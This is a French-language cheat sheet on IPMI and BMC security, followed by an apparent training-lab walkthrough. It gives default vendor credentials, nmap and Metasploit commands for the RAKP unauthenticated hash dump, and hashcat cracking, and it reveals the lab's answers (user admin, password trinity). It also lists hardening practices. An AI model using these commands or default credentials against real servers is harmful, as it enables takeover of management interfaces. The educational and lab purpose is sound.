IPMI (Intelligent Platform Management Interface)

🧠 Définition et rôle

IPMI (Intelligent Platform Management Interface) est un protocole normalisé permettant aux administrateurs de surveiller et de gérer des serveurs à distance, même lorsqu’ils sont éteints ou bloqués. Contrairement aux outils classiques, IPMI fonctionne indépendamment :

  • du système d’exploitation

  • du processeur

  • du BIOS

  • et même de l’état d’allumage de la machine

🌟 Utilités d'IPMI :

  • Redémarrer une machine à distance

  • Modifier des paramètres BIOS avant le démarrage

  • Réinstaller un OS sans accès physique

  • Surveiller l’état matériel (température, alimentation, ventilateurs)

  • Accéder aux journaux système


🧱 Architecture et composants

Le composant clé d'IPMI est le BMC (Baseboard Management Controller), présent sur de nombreuses cartes mères.

🛠️ Composants principaux :

  • BMC : le microcontrôleur central

  • IPMB : communication interne sur la carte mère

  • ICMB : communication entre châssis

  • Mémoire IPMI : stocke journaux et paramètres

  • Interfaces : LAN (UDP 623), série, PCI, etc.

IPMI reste actif tant que le BMC est alimenté et connecté, indépendamment de l’OS hôte.


🔍 Découverte & scan IPMI

Par défaut, IPMI écoute sur UDP/623. On le retrouve dans :

  • Dell DRAC

  • HP iLO

  • Supermicro IPMI

🕹️ Scan avec Nmap :

sudo nmap -sU --script ipmi-version -p 623 <IP BMC>

🌐 Exemple (IP anonymisée) :

PORT    STATE SERVICE
623/udp open  asf-rmcp
| ipmi-version:
|   Version: IPMI-2.0
|   UserAuth: auth_user, non_null_user
|   PassAuth: password, md5, null
|_  Level: 2.0

🛠️ Avec Metasploit :

use auxiliary/scanner/ipmi/ipmi_version
set RHOSTS <IP BMC>
run

⚠️ Paramètres sensibles & failles

🔑 Mots de passe par défaut (souvent oubliés)

Produit
Utilisateur
Mot de passe

Dell iDRAC

root

calvin

HP iLO

Administrator

[chaîne aléatoire]

Supermicro IPMI

ADMIN

ADMIN

🔐 Faille RAKP : dump de hash sans authentification

Dans IPMI 2.0, un hash SHA1 ou MD5 est transmis avant authentification. On peut donc :

  1. Récupérer ce hash

  2. Le craquer avec Hashcat (mode 7300)

🤖 Metasploit :

use auxiliary/scanner/ipmi/ipmi_dumphashes
set RHOSTS <IP BMC>
run

🚀 Craquage exemple :

hashcat -m 7300 hash.txt -a 3 ?1?1?1?1?1?1?1?1 -1 ?u?d

🔧 Risques et conséquences

Un accès IPMI = accès quasi physique :

  • Redémarrage, extinction

  • Installation de backdoors

  • Accès console

  • Fuite de mots de passe réutilisés

📉 Problèmes courants :

  • Interfaces IPMI accessibles depuis le LAN/Internet

  • Mots de passe par défaut laissés en place

  • Réutilisation de mots de passe sur SSH, web, etc.


🔒 Bonnes pratiques

  • Isoler IPMI sur un VLAN d’administration

  • Modifier tous les mots de passe par défaut

  • Utiliser des mots de passe complexes

  • Restreindre l’accès aux réseaux internes uniquement

  • Monitorer les connexions (logs, alertes SNMP)


🛠️ Outils utiles

Outil
Utilisation

nmap

Scan de version, brute-force SID

Metasploit

Modules IPMI (version, hash, vuln)

hashcat

Craquage de hash IPMI

ipmitool

Interaction directe avec le BMC

hydra

Brute-force des interfaces web/SSH


📚 Ressources utiles


What username is configured for accessing the host via IPMI?

Réalisation d'un scan UDP de notre cible :

$ nmap -sU --script ipmi-version -p 623 10.129.202.5
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-25 16:27 CDT
Nmap scan report for 10.129.202.5
Host is up (0.0080s latency).

PORT    STATE SERVICE
623/udp open  asf-rmcp
| ipmi-version: 
|   Version: 
|     IPMI-2.0
|   UserAuth: password, md5, md2, null
|   PassAuth: auth_msg, auth_user, non_null_user
|_  Level: 1.5, 2.0

Nmap done: 1 IP address (1 host up) scanned in 0.30 seconds

Lancement de Metasploit :

msfconsole

Configuration et lancement du dumping de hash :

msf6 > use auxiliary/scanner/ipmi/ipmi_dumphashes 

msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > set rhosts 10.129.203.176
rhosts => 10.129.203.176

msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > run
[+] 10.129.203.176:623 - IPMI - Hash found: admin:24d3129b023701005cae62b73785f0cc7d0b5d351f0b1cb6aed3edc553b966321df3ad0f4247ea95a123456789abcdefa123456789abcdef140561646d696e:c12352761a4fb47bbc2332e501a01748b03624d1
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Nous pouvons observer la ligne suivante :

[+] 10.129.203.176:623 - IPMI - Hash found: admin:24d3129b023701005cae62b73785f0cc7d0b5d351f0b1cb6aed3edc553b966321df3ad0f4247ea95a123456789abcdefa123456789abcdef140561646d696e:c12352761a4fb47bbc2332e501a01748b03624d1

Nous obtenons alors le compte configuré pour accéder à l'hôte via IPMI : admin.


What is the account's cleartext password?

Nous allons nous baser sur la ligne retournée par notre Metasploit afin de craquer le mot de passe :

[+] 10.129.203.176:623 - IPMI - Hash found: admin:24d3129b023701005cae62b73785f0cc7d0b5d351f0b1cb6aed3edc553b966321df3ad0f4247ea95a123456789abcdefa123456789abcdef140561646d696e:c12352761a4fb47bbc2332e501a01748b03624d1

Afin de craquer le mot de passe, nous configurons la wordlist rockyou.txt dans nos options Metasploit, avant de lancer de nouveau notre exploit :

msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > set pass_file /usr/share/wordlists/rockyou.txt
pass_file => /usr/share/wordlists/rockyou.txt

msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > run
[+] 10.129.203.176:623 - IPMI - Hash found: admin:ea9f16e1023f0100acc55c7b05a59b8c86a773c5e9ea28cc966a5bef33fba2b70c641d7c11f6a8aba123456789abcdefa123456789abcdef140561646d696e:abde2b3e8d28f27799aa648cca8ca97ff6e84a41
[+] 10.129.203.176:623 - IPMI - Hash for user 'admin' matches password 'trinity'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Le programme nous retourne donc le mot de passe en clair de l'utilisateur admin:trinity.


Mis à jour